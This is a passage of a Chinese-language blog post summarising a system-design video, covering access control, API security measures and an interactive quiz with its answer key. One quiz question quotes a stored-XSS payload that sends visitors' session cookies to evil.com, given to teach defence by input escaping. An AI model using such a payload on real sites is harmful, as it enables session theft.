Control\uff09<\/strong>\uff1a\u6839\u64da\u7528\u6236\u5c6c\u6027\uff08\u90e8\u9580\u3001\u5e74\u9f61\uff09\u3001\u8cc7\u6e90\u5c6c\u6027\uff08\u6a5f\u5bc6\u7b49\u7d1a\uff09\u548c\u74b0\u5883\u689d\u4ef6\uff08\u6642\u9593\u3001\u5730\u9ede\uff09\u6c7a\u5b9a\u5b58\u53d6\u6b0a\uff0c\u6bd4 RBAC \u66f4\u5f48\u6027\u4f46\u4e5f\u66f4\u8907\u96dc\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>ACL\uff08Access Control List\uff09<\/strong>\uff1a\u6bcf\u500b\u8cc7\u6e90\u6709\u7368\u7acb\u7684\u6b0a\u9650\u6e05\u55ae\u3002Google Drive \u7684\u6587\u4ef6\u5206\u4eab\u5c31\u662f ACL \u7684\u5178\u578b\u61c9\u7528 \u2014 \u5c0d Alice \u8a2d\u552f\u8b80\u3001\u5c0d Bob \u8a2d\u53ef\u7de8\u8f2f\u3002\u63a7\u5236\u7cbe\u7d30\u4f46\u96e3\u4ee5\u5927\u898f\u6a21\u7ba1\u7406\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">OAuth2 \u548c JWT \u662f\u5be6\u4f5c\u6388\u6b0a\u7684\u6280\u8853\u624b\u6bb5\uff1aOAuth2 \u63d0\u4f9b\u59d4\u8a17\u6388\u6b0a\uff08\u5982\u8b93 Vercel \u5b58\u53d6\u4f60\u7684 GitHub Repo\uff09\uff0cJWT Token \u651c\u5e36\u7528\u6236\u8eab\u5206\u548c\u6b0a\u9650\u8072\u660e\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">[84:00] API \u5b89\u5168\u4e03\u5927\u9632\u8b77\u6280\u5de7<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>Rate Limiting<\/strong>\uff1a\u9650\u5236\u55ae\u4f4d\u6642\u9593\u5167\u7684\u8acb\u6c42\u6578\uff0c\u9632\u6b62\u66b4\u529b\u7834\u89e3\u548c DDoS\uff0c\u53ef\u4f9d\u7aef\u9ede\u3001\u7528\u6236 IP \u6216\u5168\u5c40\u8a2d\u5b9a<\/li>\n\n\n<li><strong>CORS\uff08Cross-Origin Resource Sharing\uff09<\/strong>\uff1a\u63a7\u5236\u54ea\u4e9b\u7db2\u57df\u53ef\u4ee5\u5f9e\u700f\u89bd\u5668\u547c\u53eb\u4f60\u7684 API<\/li>\n\n\n<li><strong>SQL\/NoSQL Injection \u9632\u8b77<\/strong>\uff1a\u6c38\u9060\u4f7f\u7528\u53c3\u6578\u5316\u67e5\u8a62\uff0c\u4e0d\u8981\u76f4\u63a5\u628a\u7528\u6236\u8f38\u5165\u62fc\u9032 SQL<\/li>\n\n\n<li><strong>Firewall\uff08\u9632\u706b\u7246\uff09<\/strong>\uff1a\u904e\u6ffe\u60e1\u610f\u6d41\u91cf\uff0c\u5982 AWS WAF \u53ef\u6514\u622a\u53ef\u7591\u7684\u8acb\u6c42\u6a21\u5f0f<\/li>\n\n\n<li><strong>VPN<\/strong>\uff1a\u5167\u90e8 API \u53ea\u5141\u8a31\u540c\u4e00 VPN \u7db2\u8def\u5167\u7684\u5b58\u53d6<\/li>\n\n\n<li><strong>CSRF Token<\/strong>\uff1a\u9632\u6b62\u8de8\u7ad9\u8acb\u6c42\u507d\u9020\uff0c\u5728 Session Cookie \u4e4b\u5916\u591a\u52a0\u4e00\u5c64\u9a57\u8b49<\/li>\n\n\n<li><strong>XSS \u9632\u8b77<\/strong>\uff1a\u9632\u6b62\u653b\u64ca\u8005\u5728\u8a55\u8ad6\u7b49\u8f38\u5165\u6b04\u4f4d\u6ce8\u5165\u60e1\u610f JavaScript \u8173\u672c<\/li>\n\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u6211\u7684\u60f3\u6cd5<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u90e8\u5f71\u7247\u672c\u8cea\u4e0a\u662f\u4e00\u5802\u300c\u7cfb\u7d71\u8a2d\u8a08\u901f\u6210\u8ab2\u300d\uff0c\u6db5\u84cb\u9762\u975e\u5e38\u5ee3 \u2014 \u5f9e\u6700\u57fa\u790e\u7684 DNS \u89e3\u6790\u5230 API \u5b89\u5168\u9632\u8b77\uff0c\u5e7e\u4e4e\u628a\u9762\u8a66\u6703\u554f\u7684\u6838\u5fc3\u6982\u5ff5\u90fd\u904e\u4e86\u4e00\u904d\u3002\u5c0d\u65bc\u6e96\u5099\u7cfb\u7d71\u8a2d\u8a08\u9762\u8a66\u6216\u60f3\u5efa\u7acb\u5b8c\u6574\u77e5\u8b58\u6846\u67b6\u7684\u958b\u767c\u8005\u4f86\u8aaa\uff0c\u662f\u5f88\u597d\u7684\u5165\u9580\u5730\u5716\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u5f71\u7247\u5728\u8cc7\u6599\u5eab\u9078\u578b\u7684\u8a0e\u8ad6\u4e2d\uff0c\u96d6\u7136\u9ede\u51fa\u4e86 SQL vs NoSQL \u7684\u57fa\u672c\u53d6\u6368\uff0c\u4f46\u5be6\u52d9\u4e2d\u7684\u9078\u64c7\u5f80\u5f80\u66f4\u8907\u96dc\u3002\u4f8b\u5982 PostgreSQL \u52a0\u4e0a JSONB \u6b04\u4f4d\u5176\u5be6\u4e5f\u80fd\u8655\u7406\u534a\u7d50\u69cb\u5316\u8cc7\u6599\uff0c\u800c MongoDB \u8fd1\u5e74\u4e5f\u52a0\u5f37\u4e86\u4ea4\u6613\u652f\u63f4\u3002\u771f\u6b63\u7684\u6c7a\u7b56\u4e0d\u662f\u4e8c\u9078\u4e00\uff0c\u800c\u662f\u770b\u4f60\u7684\u8b80\u5beb\u6bd4\u4f8b\u3001\u4e00\u81f4\u6027\u9700\u6c42\u548c\u5718\u968a\u719f\u6089\u5ea6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ca0\u8f09\u5747\u8861\u7684\u4e03\u7a2e\u6f14\u7b97\u6cd5\u8b1b\u89e3\u5f97\u5f88\u6e05\u695a\uff0c\u4f46\u5be6\u52d9\u4e0a\u5927\u591a\u6578\u5718\u968a\u76f4\u63a5\u7528\u96f2\u7aef\u670d\u52d9\uff08AWS ALB\/NLB\uff09\u5c31\u5920\u4e86\uff0c\u4e0d\u9700\u8981\u81ea\u5df1\u8a2d\u5b9a Nginx \u7684\u8ca0\u8f09\u5747\u8861\u3002\u66f4\u95dc\u9375\u7684\u662f\u7406\u89e3\u4ec0\u9ebc\u6642\u5019\u9700\u8981 Layer 4\uff08TCP \u5c64\uff09vs Layer 7\uff08HTTP \u5c64\uff09\u7684\u8ca0\u8f09\u5747\u8861\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">API \u8a2d\u8a08\u90e8\u5206\u7684 REST vs GraphQL vs gRPC \u6bd4\u8f03\u5f88\u5be6\u7528\u3002\u88dc\u5145\u4e00\u9ede\uff1a\u8fd1\u5e74 tRPC \u5728 TypeScript \u5168\u7aef\u958b\u767c\u4e2d\u4e5f\u8d8a\u4f86\u8d8a\u6d41\u884c\uff0c\u5b83\u63d0\u4f9b\u7aef\u5c0d\u7aef\u578b\u5225\u5b89\u5168\uff0c\u958b\u767c\u9ad4\u9a57\u4ecb\u65bc REST \u548c gRPC \u4e4b\u9593\uff0c\u503c\u5f97\u95dc\u6ce8\u3002<\/p>\n\n    \n\n<div id=\"quiz-23d38f66\">\n<style>\n#quiz-23d38f66 .badge {\n        display: inline-block;\n        padding: 4px 10px;\n        border-radius: 12px;\n        font-size: 0.75em;\n        font-weight: bold;\n        margin-left: 8px;\n      }#quiz-23d38f66 .badge.scenario {\n        background: #ebf8ff;\n        color: #2b6cb0;\n      }#quiz-23d38f66 .badge.debug {\n        background: #fef3c7;\n        color: #92400e;\n      }#quiz-23d38f66 .question-adv {\n        background: white;\n        border-radius: 10px;\n        padding: 24px;\n        margin: 20px 0;\n        box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08);\n        border-left: 4px solid #ed8936;\n      }#quiz-23d38f66 .question-adv h3 {\n        margin-top: 0;\n        color: #2d3748;\n      }#quiz-23d38f66 .code-block {\n        background: #1e1e1e;\n        color: #d4d4d4;\n        padding: 14px;\n        border-radius: 6px;\n        font-family: \"Menlo\", \"Monaco\", \"Courier New\", monospace;\n        font-size: 0.9em;\n        overflow-x: auto;\n        margin: 12px 0;\n        white-space: pre-wrap;\n      }#quiz-23d38f66 .options-adv {\n        list-style: none;\n        padding: 0;\n      }#quiz-23d38f66 .options-adv li {\n        padding: 14px 16px;\n        margin: 10px 0;\n        border: 2px solid #e2e8f0;\n        border-radius: 8px;\n        cursor: pointer;\n        transition: all 0.2s;\n      }#quiz-23d38f66 .options-adv li:hover:not(.disabled) {\n        border-color: #ed8936;\n        background: #fffaf0;\n      }#quiz-23d38f66 .options-adv li.disabled {\n        cursor: default;\n        opacity: 0.7;\n      }#quiz-23d38f66 .options-adv li.show-answer {\n        border-color: #48bb78;\n        background: #f0fff4;\n      }#quiz-23d38f66 .options-adv li.wrong {\n        border-color: #fc8181;\n        background: #fff5f5;\n      }#quiz-23d38f66 .feedback-adv {\n        margin-top: 16px;\n        padding: 14px;\n        border-radius: 8px;\n        display: none;\n        line-height: 1.6;\n      }#quiz-23d38f66 .feedback-adv.correct {\n        background: #f0fff4;\n        color: #276749;\n        display: block;\n      }#quiz-23d38f66 .feedback-adv.wrong {\n        background: #fff5f5;\n        color: #c53030;\n        display: block;\n      }#quiz-23d38f66 .feedback-adv \n      .score-adv {\n        text-align: center;\n        font-size: 1.4em;\n        padding: 24px;\n        background: white;\n        border-radius: 10px;\n        margin-top: 24px;\n        box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08);\n      }#quiz-23d38f66 .intro {\n        background: #ebf8ff;\n        padding: 16px;\n        border-radius: 8px;\n        margin-bottom: 20px;\n        color: #2c5282;\n      }\n<\/style>\n<h1>\u9032\u968e\u6e2c\u9a57\uff1a\u7cfb\u7d71\u8a2d\u8a08\u5168\u89e3\u6790<\/h1>\n    <div class=\"intro\">\n      <strong>\u6e2c\u9a57\u76ee\u6a19\uff1a<\/strong>\u9a57\u8b49\u4f60\u662f\u5426\u80fd\u5728\u5be6\u969b\u60c5\u5883\u4e2d\u61c9\u7528\u7cfb\u7d71\u8a2d\u8a08\u77e5\u8b58\u3002<br \/>\n      \u5171 5 \u984c\uff0c\u5305\u542b\u60c5\u5883\u984c\u8207\u932f\u8aa4\u8a3a\u65b7\u984c\u3002\n    <\/div>\n\n    <!-- \u60c5\u5883\u984c 1 -->\n    <div class=\"question-adv\" id=\"qAdv1\">\n      <h3>1. \u4f60\u6b63\u5728\u8a2d\u8a08\u4e00\u500b\u7dda\u4e0a\u9280\u884c\u8f49\u5e33\u7cfb\u7d71\u7684\u8cc7\u6599\u5eab\u67b6\u69cb <span class=\"badge scenario\">\u60c5\u5883\u984c<\/span><\/h3>\n      <div class=\"code-block\">\u9700\u6c42\uff1a\n&#8211; \u7528\u6236\u53ef\u4ee5\u5728\u5e33\u6236\u4e4b\u9593\u8f49\u5e33\n&#8211; \u8f49\u51fa\u5e33\u6236\u6263\u6b3e\u548c\u8f49\u5165\u5e33\u6236\u52a0\u6b3e\u5fc5\u9808\u540c\u6642\u6210\u529f\u6216\u540c\u6642\u5931\u6557\n&#8211; \u5e33\u6236\u9918\u984d\u4e0d\u80fd\u51fa\u73fe\u8ca0\u6578\n&#8211; \u6bcf\u7b46\u4ea4\u6613\u90fd\u9700\u8981\u5b8c\u6574\u7684\u5be9\u8a08\u7d00\u9304<\/div>\n      <p>\u6839\u64da\u9019\u4e9b\u9700\u6c42\uff0c\u4f60\u61c9\u8a72\u9078\u64c7\u54ea\u7a2e\u8cc7\u6599\u5eab\uff1f<\/p>\n      <ul class=\"options-adv\">\n        <li onclick=\"checkAnswerAdv(1, 'A', 'A')\">A. PostgreSQL \u2014 \u652f\u63f4 ACID \u4ea4\u6613\uff0c\u78ba\u4fdd\u8cc7\u6599\u4e00\u81f4\u6027\u548c\u5b8c\u6574\u6027<\/li>\n        <li onclick=\"checkAnswerAdv(1, 'B', 'A')\">B. MongoDB \u2014 \u6587\u4ef6\u5f0f\u5132\u5b58\u66f4\u9748\u6d3b\uff0c\u53ef\u4ee5\u628a\u4ea4\u6613\u7d00\u9304\u5d4c\u5165\u7528\u6236\u6587\u4ef6<\/li>\n        <li onclick=\"checkAnswerAdv(1, 'C', 'A')\">C. Redis \u2014 \u9375\u503c\u5132\u5b58\u901f\u5ea6\u6700\u5feb\uff0c\u8f49\u5e33\u9700\u8981\u4f4e\u5ef6\u9072<\/li>\n        <li onclick=\"checkAnswerAdv(1, 'D', 'A')\">D. Cassandra \u2014 \u5bec\u5217\u5132\u5b58\u9069\u5408\u5927\u91cf\u5beb\u5165\u64cd\u4f5c\uff0c\u8f49\u5e33\u6703\u7522\u751f\u5f88\u591a\u7d00\u9304<\/li>\n      <\/ul>\n      <div class=\"feedback-adv\" id=\"fbAdv1\"><\/div>\n    <\/div>\n\n    <!-- \u60c5\u5883\u984c 2 -->\n    <div class=\"question-adv\" id=\"qAdv2\">\n      <h3>2. \u4f60\u7684\u96fb\u5546\u5e73\u53f0\u6b63\u5728\u9032\u884c\u4fc3\u92b7\u6d3b\u52d5\uff0c\u6d41\u91cf\u66b4\u589e <span class=\"badge scenario\">\u60c5\u5883\u984c<\/span><\/h3>\n      <div class=\"code-block\">\u73fe\u6cc1\uff1a\n&#8211; \u76ee\u524d\u6709 3 \u53f0 API \u4f3a\u670d\u5668\uff0c\u524d\u9762\u6709\u4e00\u500b\u8ca0\u8f09\u5747\u8861\u5668\n&#8211; \u4f3a\u670d\u5668 1\uff1a16GB RAM\uff0c\u56de\u61c9\u6642\u9593 50ms\n&#8211; \u4f3a\u670d\u5668 2\uff1a32GB RAM\uff0c\u56de\u61c9\u6642\u9593 30ms\n&#8211; \u4f3a\u670d\u5668 3\uff1a64GB RAM\uff0c\u56de\u61c9\u6642\u9593 20ms\n&#8211; \u4fc3\u92b7\u671f\u9593\u6d41\u91cf\u662f\u5e73\u6642\u7684 10 \u500d\n&#8211; \u90e8\u5206\u7528\u6236\u53cd\u6620\u9801\u9762\u8f09\u5165\u7de9\u6162<\/div>\n      <p>\u5728\u9019\u500b\u60c5\u5883\u4e0b\uff0c\u6700\u9069\u5408\u7684\u8ca0\u8f09\u5747\u8861\u6f14\u7b97\u6cd5\u662f\u4ec0\u9ebc\uff1f<\/p>\n      <ul class=\"options-adv\">\n        <li onclick=\"checkAnswerAdv(2, 'A', 'C')\">A. Round Robin \u2014 \u4f9d\u5e8f\u8f2a\u6d41\u5206\u914d\uff0c\u7c21\u55ae\u53ef\u9760<\/li>\n        <li onclick=\"checkAnswerAdv(2, 'B', 'C')\">B. IP Hash \u2014 \u78ba\u4fdd\u540c\u4e00\u7528\u6236\u9023\u5230\u540c\u4e00\u53f0\u4f3a\u670d\u5668<\/li>\n        <li onclick=\"checkAnswerAdv(2, 'C', 'C')\">C. Weighted Least Connections \u2014 \u6839\u64da\u4f3a\u670d\u5668\u6548\u80fd\u5206\u914d\u6b0a\u91cd\uff0c\u540c\u6642\u8003\u616e\u7576\u524d\u9023\u7dda\u6578<\/li>\n        <li onclick=\"checkAnswerAdv(2, 'D', 'C')\">D. Geographical \u2014 \u6839\u64da\u7528\u6236\u5730\u7406\u4f4d\u7f6e\u5c0e\u5411\u6700\u8fd1\u7684\u4f3a\u670d\u5668<\/li>\n      <\/ul>\n      <div class=\"feedback-adv\" id=\"fbAdv2\"><\/div>\n    <\/div>\n\n    <!-- \u60c5\u5883\u984c 3 -->\n    <div class=\"question-adv\" id=\"qAdv3\">\n      <h3>3. \u4f60\u6b63\u5728\u958b\u767c\u4e00\u500b\u5373\u6642\u804a\u5929\u61c9\u7528\u7684\u5f8c\u7aef <span class=\"badge scenario\">\u60c5\u5883\u984c<\/span><\/h3>\n      <div class=\"code-block\">\u9700\u6c42\uff1a\n&#8211; \u7528\u6236\u767c\u9001\u8a0a\u606f\u5f8c\uff0c\u5c0d\u65b9\u9700\u8981\u7acb\u5373\u6536\u5230\n&#8211; \u4e0d\u5e0c\u671b\u5ba2\u6236\u7aef\u6bcf\u9694\u5e7e\u79d2\u5c31\u8f2a\u8a62\u4e00\u6b21\u4f3a\u670d\u5668\n&#8211; \u4f3a\u670d\u5668\u9700\u8981\u4e3b\u52d5\u63a8\u9001\u65b0\u8a0a\u606f\u7d66\u5ba2\u6236\u7aef\n&#8211; \u9700\u8981\u652f\u63f4\u96d9\u5411\u5373\u6642\u901a\u8a0a<\/div>\n      <p>\u4f60\u61c9\u8a72\u9078\u64c7\u54ea\u7a2e\u901a\u8a0a\u5354\u5b9a\uff1f<\/p>\n      <ul class=\"options-adv\">\n        <li onclick=\"checkAnswerAdv(3, 'A', 'B')\">A. HTTP\/HTTPS \u2014 \u6700\u901a\u7528\u7684\u5354\u5b9a\uff0c\u642d\u914d\u77ed\u8f2a\u8a62\uff08Short Polling\uff09\u5373\u53ef<\/li>\n        <li onclick=\"checkAnswerAdv(3, 'B', 'B')\">B. WebSocket \u2014 \u5efa\u7acb\u6301\u4e45\u9023\u7dda\u5f8c\u652f\u63f4\u96d9\u5411\u5373\u6642\u901a\u8a0a<\/li>\n        <li onclick=\"checkAnswerAdv(3, 'C', 'B')\">C. gRPC \u2014 Google \u7684\u9ad8\u6548\u80fd RPC \u6846\u67b6\uff0c\u652f\u63f4\u4e32\u6d41<\/li>\n        <li onclick=\"checkAnswerAdv(3, 'D', 'B')\">D. AMQP \u2014 \u8a0a\u606f\u4f47\u5217\u5354\u5b9a\uff0c\u78ba\u4fdd\u6bcf\u689d\u8a0a\u606f\u90fd\u80fd\u9001\u9054<\/li>\n      <\/ul>\n      <div class=\"feedback-adv\" id=\"fbAdv3\"><\/div>\n    <\/div>\n\n    <!-- \u932f\u8aa4\u8a3a\u65b7\u984c 1 -->\n    <div class=\"question-adv\" id=\"qAdv4\">\n      <h3>4. \u5c0f\u83ef\u8a2d\u8a08\u4e86\u4e00\u500b RESTful API\uff0c\u4f46\u540c\u4e8b\u53cd\u6620\u5f88\u96e3\u4f7f\u7528 <span class=\"badge debug\">\u932f\u8aa4\u8a3a\u65b7<\/span><\/h3>\n      <div class=\"code-block\">\u5c0f\u83ef\u8a2d\u8a08\u7684 API \u7aef\u9ede\uff1a\n\nPOST \/api\/v1\/getUsers          \u2192 \u53d6\u5f97\u6240\u6709\u7528\u6236\nPOST \/api\/v1\/deleteUser\/123    \u2192 \u522a\u9664\u7528\u6236\nGET  \/api\/v1\/user              \u2192 \u53d6\u5f97\u55ae\u4e00\u7528\u6236\nPUT  \/api\/v1\/CreateNewProduct   \u2192 \u65b0\u589e\u7522\u54c1<\/div>\n      <p>\u9019\u500b API \u8a2d\u8a08\u6709\u4ec0\u9ebc\u6838\u5fc3\u554f\u984c\uff1f<\/p>\n      <ul class=\"options-adv\">\n        <li onclick=\"checkAnswerAdv(4, 'A', 'B')\">A. \u7f3a\u5c11\u5206\u9801\u548c\u7be9\u9078\u53c3\u6578\uff0c\u6703\u9020\u6210\u6548\u80fd\u554f\u984c<\/li>\n        <li onclick=\"checkAnswerAdv(4, 'B', 'B')\">B. \u9055\u53cd REST \u6163\u4f8b\uff1a\u7528\u4e86\u52d5\u8a5e\u800c\u975e\u540d\u8a5e\u8907\u6578\u3001HTTP \u65b9\u6cd5\u8207\u64cd\u4f5c\u4e0d\u5339\u914d\u3001\u547d\u540d\u98a8\u683c\u4e0d\u4e00\u81f4<\/li>\n        <li onclick=\"checkAnswerAdv(4, 'C', 'B')\">C. \u6c92\u6709\u4f7f\u7528 HTTPS \u52a0\u5bc6\uff0c\u8cc7\u6599\u50b3\u8f38\u4e0d\u5b89\u5168<\/li>\n        <li onclick=\"checkAnswerAdv(4, 'D', 'B')\">D. \u7f3a\u5c11\u8eab\u5206\u9a57\u8b49\u6a5f\u5236\uff0c\u4efb\u4f55\u4eba\u90fd\u80fd\u547c\u53eb\u9019\u4e9b\u7aef\u9ede<\/li>\n      <\/ul>\n      <div class=\"feedback-adv\" id=\"fbAdv4\"><\/div>\n    <\/div>\n\n    <!-- \u932f\u8aa4\u8a3a\u65b7\u984c 2 -->\n    <div class=\"question-adv\" id=\"qAdv5\">\n      <h3>5. \u958b\u767c\u5718\u968a\u7684 API \u88ab\u653b\u64ca\u8005\u5229\u7528\uff0c\u9020\u6210\u8cc7\u6599\u5916\u6d29 <span class=\"badge debug\">\u932f\u8aa4\u8a3a\u65b7<\/span><\/h3>\n      <div class=\"code-block\">\u4e8b\u4ef6\u7d00\u9304\uff1a\n1. \u8a55\u8ad6\u529f\u80fd\u5141\u8a31\u7528\u6236\u63d0\u4ea4\u4efb\u610f\u6587\u5b57\n2. \u653b\u64ca\u8005\u5728\u8a55\u8ad6\u4e2d\u63d0\u4ea4\u4e86\u4ee5\u4e0b\u5167\u5bb9\uff1a\n   &lt;script&gt;fetch(&#8216;https:\/\/evil.com\/steal?cookie=&#8217;+document.cookie)&lt;\/script&gt;\n3. \u5176\u4ed6\u7528\u6236\u700f\u89bd\u8a55\u8ad6\u9801\u9762\u6642\uff0c\u700f\u89bd\u5668\u57f7\u884c\u4e86\u9019\u6bb5\u8173\u672c\n4. \u653b\u64ca\u8005\u53d6\u5f97\u4e86\u5176\u4ed6\u7528\u6236\u7684 Session Cookie<\/div>\n      <p>\u9019\u5c6c\u65bc\u54ea\u7a2e\u653b\u64ca\uff1f\u6b63\u78ba\u7684\u9632\u8b77\u65b9\u5f0f\u662f\u4ec0\u9ebc\uff1f<\/p>\n      <ul class=\"options-adv\">\n        <li onclick=\"checkAnswerAdv(5, 'A', 'C')\">A. SQL Injection \u2014 \u61c9\u8a72\u4f7f\u7528\u53c3\u6578\u5316\u67e5\u8a62\u4f86\u9632\u6b62<\/li>\n        <li onclick=\"checkAnswerAdv(5, 'B', 'C')\">B. CSRF \u653b\u64ca \u2014 \u61c9\u8a72\u52a0\u5165 CSRF Token \u4f86\u9632\u6b62<\/li>\n        <li onclick=\"checkAnswerAdv(5, 'C', 'C')\">C. XSS\uff08Cross-Site Scripting\uff09\u653b\u64ca \u2014 \u61c9\u8a72\u5c0d\u7528\u6236\u8f38\u5165\u505a\u8f49\u7fa9\u8655\u7406\uff0c\u963b\u6b62\u8173\u672c\u6ce8\u5165<\/li>\n        <li onclick=\"checkAnswerAdv(5, 'D', 'C')\">D. DDoS \u653b\u64ca \u2014 \u61c9\u8a72\u8a2d\u5b9a Rate Limiting \u4f86\u9632\u6b62<\/li>\n      <\/ul>\n      <div class=\"feedback-adv\" id=\"fbAdv5\"><\/div>\n    <\/div>\n\n    <div class=\"score-adv\" id=\"scoreAdv\" style=\"display:none;\"><\/div>\n<script>\n\n      let answeredAdv = 0;\n      let correctAdv = 0;\n      const totalAdv = 5;\n      const explanationsAdv = {\n        1: \"\u9280\u884c\u8f49\u5e33\u7cfb\u7d71\u6700\u6838\u5fc3\u7684\u9700\u6c42\u662f<strong>\u8cc7\u6599\u4e00\u81f4\u6027\u548c\u4ea4\u6613\u5b8c\u6574\u6027<\/strong>\u3002\u95dc\u806f\u5f0f\u8cc7\u6599\u5eab\uff08\u5982 PostgreSQL\uff09\u652f\u63f4 ACID \u4ea4\u6613\u7279\u6027\uff1a\u539f\u5b50\u6027\u78ba\u4fdd\u8f49\u51fa\u548c\u8f49\u5165\u8981\u9ebc\u540c\u6642\u6210\u529f\u8981\u9ebc\u540c\u6642\u5931\u6557\uff1b\u4e00\u81f4\u6027\u78ba\u4fdd\u9918\u984d\u4e0d\u6703\u51fa\u73fe\u8ca0\u6578\uff1b\u9694\u96e2\u6027\u78ba\u4fdd\u4e26\u767c\u4ea4\u6613\u4e92\u4e0d\u5e72\u64fe\uff1b\u6301\u4e45\u6027\u78ba\u4fdd\u5373\u4f7f\u7cfb\u7d71\u6545\u969c\u8cc7\u6599\u4e5f\u4e0d\u6703\u907a\u5931\u3002MongoDB \u96d6\u7136\u8fd1\u5e74\u4e5f\u652f\u63f4\u4ea4\u6613\uff0c\u4f46\u5176\u8a2d\u8a08\u521d\u8877\u4e0d\u662f\u5f37\u4e00\u81f4\u6027\u5834\u666f\u3002Redis \u662f\u8a18\u61b6\u9ad4\u8cc7\u6599\u5eab\uff0c\u9069\u5408\u5feb\u53d6\u800c\u975e\u6c38\u4e45\u5132\u5b58\u91d1\u878d\u8cc7\u6599\u3002Cassandra \u512a\u5316\u7684\u662f\u5927\u898f\u6a21\u5beb\u5165\uff0c\u4e0d\u64c5\u9577\u9700\u8981\u5f37\u4e00\u81f4\u6027\u7684\u4ea4\u6613\u5834\u666f\u3002\",\n        2: \"\u4e09\u53f0\u4f3a\u670d\u5668\u7684\u786c\u9ad4\u898f\u683c\u5dee\u7570\u5f88\u5927\uff0816GB \/ 32GB \/ 64GB\uff09\uff0c\u4e14\u56de\u61c9\u6642\u9593\u4e5f\u4e0d\u540c\u3002<strong>Weighted Least Connections<\/strong> \u80fd\u6839\u64da\u4f3a\u670d\u5668\u6548\u80fd\u5206\u914d\u6b0a\u91cd\uff0864GB \u7684\u4f3a\u670d\u5668\u627f\u64d4\u66f4\u591a\u6d41\u91cf\uff09\uff0c\u540c\u6642\u8003\u616e\u7576\u524d\u6d3b\u8e8d\u9023\u7dda\u6578\uff0c\u907f\u514d\u67d0\u53f0\u4f3a\u670d\u5668\u904e\u8f09\u3002Round Robin \u628a\u6d41\u91cf\u5e73\u5747\u5206\u914d\u6703\u8b93 16GB \u7684\u4f3a\u670d\u5668\u58d3\u529b\u904e\u5927\uff1bIP Hash \u53ea\u78ba\u4fdd\u7528\u6236\u9ecf\u8457\u6027\uff0c\u4e0d\u8003\u616e\u4f3a\u670d\u5668\u8ca0\u8f09\u5dee\u7570\uff1bGeographical \u662f\u91dd\u5c0d\u5168\u7403\u90e8\u7f72\u7684\u5834\u666f\uff0c\u8207\u7576\u524d\u554f\u984c\u7121\u95dc\u3002\",\n        3: \"\u5373\u6642\u804a\u5929\u7684\u6838\u5fc3\u9700\u6c42\u662f<strong>\u96d9\u5411\u5373\u6642\u901a\u8a0a<\/strong>\u548c<strong>\u4f3a\u670d\u5668\u4e3b\u52d5\u63a8\u9001<\/strong>\u3002WebSocket \u5728\u5efa\u7acb\u9023\u7dda\u5f8c\uff0c\u4f3a\u670d\u5668\u53ef\u4ee5\u4e3b\u52d5\u63a8\u9001\u8a0a\u606f\u7d66\u5ba2\u6236\u7aef\uff0c\u4e0d\u9700\u8981\u5ba2\u6236\u7aef\u53cd\u8986\u8f2a\u8a62\uff0c\u5927\u5e45\u964d\u4f4e\u5ef6\u9072\u548c\u983b\u5bec\u6d6a\u8cbb\u3002HTTP \u7684\u8acb\u6c42-\u56de\u61c9\u6a21\u5f0f\u9700\u8981\u5ba2\u6236\u7aef\u4e0d\u65b7\u767c\u9001\u8acb\u6c42\u4f86\u6aa2\u67e5\u65b0\u8a0a\u606f\uff0c\u6548\u7387\u4f4e\u4e14\u5ef6\u9072\u9ad8\u3002gRPC \u96d6\u7136\u652f\u63f4\u4e32\u6d41\uff0c\u4f46\u4e3b\u8981\u7528\u65bc\u4f3a\u670d\u5668\u9593\u7684\u5fae\u670d\u52d9\u901a\u8a0a\uff0c\u700f\u89bd\u5668\u652f\u63f4\u6709\u9650\u3002AMQP \u662f\u8a0a\u606f\u4f47\u5217\u5354\u5b9a\uff0c\u9069\u5408\u670d\u52d9\u9593\u7684\u975e\u540c\u6b65\u901a\u8a0a\uff0c\u4e0d\u662f\u524d\u7aef\u8207\u5f8c\u7aef\u7684\u5373\u6642\u901a\u8a0a\u65b9\u6848\u3002\",\n        4: \"\u9019\u500b API \u8a2d\u8a08\u6709<strong>\u591a\u91cd REST \u6163\u4f8b\u9055\u898f<\/strong>\uff1a(1) \u4f7f\u7528\u52d5\u8a5e\uff08getUsers\u3001deleteUser\u3001CreateNewProduct\uff09\u800c\u975e\u540d\u8a5e\u8907\u6578 \u2014 \u6b63\u78ba\u5beb\u6cd5\u61c9\u662f <code>GET \/api\/v1\/users<\/code>\u3001<code>DELETE \/api\/v1\/users\/123<\/code>\u3001<code>POST \/api\/v1\/products<\/code>\uff1b(2) HTTP \u65b9\u6cd5\u8207\u64cd\u4f5c\u4e0d\u5339\u914d \u2014 \u53d6\u5f97\u8cc7\u6599\u7528\u4e86 POST \u800c\u975e GET\uff0c\u65b0\u589e\u8cc7\u6599\u7528\u4e86 PUT \u800c\u975e POST\uff1b(3) \u547d\u540d\u98a8\u683c\u4e0d\u4e00\u81f4 \u2014 \u6709 camelCase\uff08getUsers\uff09\u4e5f\u6709 PascalCase\uff08CreateNewProduct\uff09\uff0c\u9084\u6df7\u7528\u4e86\u55ae\u6578\uff08user\uff09\u548c\u96b1\u542b\u7684\u8907\u6578\u3002\u96d6\u7136\u5206\u9801\u3001HTTPS \u548c\u9a57\u8b49\u4e5f\u5f88\u91cd\u8981\uff0c\u4f46\u300c\u96e3\u4ee5\u4f7f\u7528\u300d\u7684\u6838\u5fc3\u554f\u984c\u51fa\u5728 API \u8a2d\u8a08\u6163\u4f8b\u7684\u9055\u53cd\u3002\",\n        5: \"\u9019\u662f\u5178\u578b\u7684 <strong>XSS\uff08Cross-Site Scripting\uff09\u5132\u5b58\u578b\u653b\u64ca<\/strong>\u3002\u653b\u64ca\u8005\u5728\u8a55\u8ad6\u4e2d\u6ce8\u5165 JavaScript 